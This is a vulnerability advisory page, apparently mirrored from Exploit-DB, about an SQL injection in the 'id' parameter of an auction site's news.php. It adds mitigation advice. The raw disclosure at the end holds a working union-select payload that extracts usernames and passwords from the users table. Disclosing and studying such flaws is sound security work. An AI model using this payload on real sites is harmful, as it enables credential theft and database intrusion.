www.site.com/auktionshaus/news.php?id=

vendor:

N/A

by:

Easy Laster

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

www.site.com/auktionshaus/news.php?id=

The vulnerability exists in the 'news.php' page of the website, which is vulnerable to SQL injection. An attacker can exploit this vulnerability by sending a malicious payload in the 'id' parameter of the URL, which will allow the attacker to execute arbitrary SQL queries on the database. The malicious payload can be used to extract the username and password of the users from the database.

Mitigation:

Input validation should be implemented to prevent SQL injection attacks. Additionally, the application should use parameterized queries to prevent SQL injection.

Source

Exploit-DB raw data:

----------------------------Information------------------------------------------------
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/auktionshaus/news.php?id=
+Exploitable   : www.site.com/auktionshaus/news.php?id=null+union+select+1,2,concat
(name,0x3a,password),4,5+from+users#
-----------------------------------------------------------------------------------------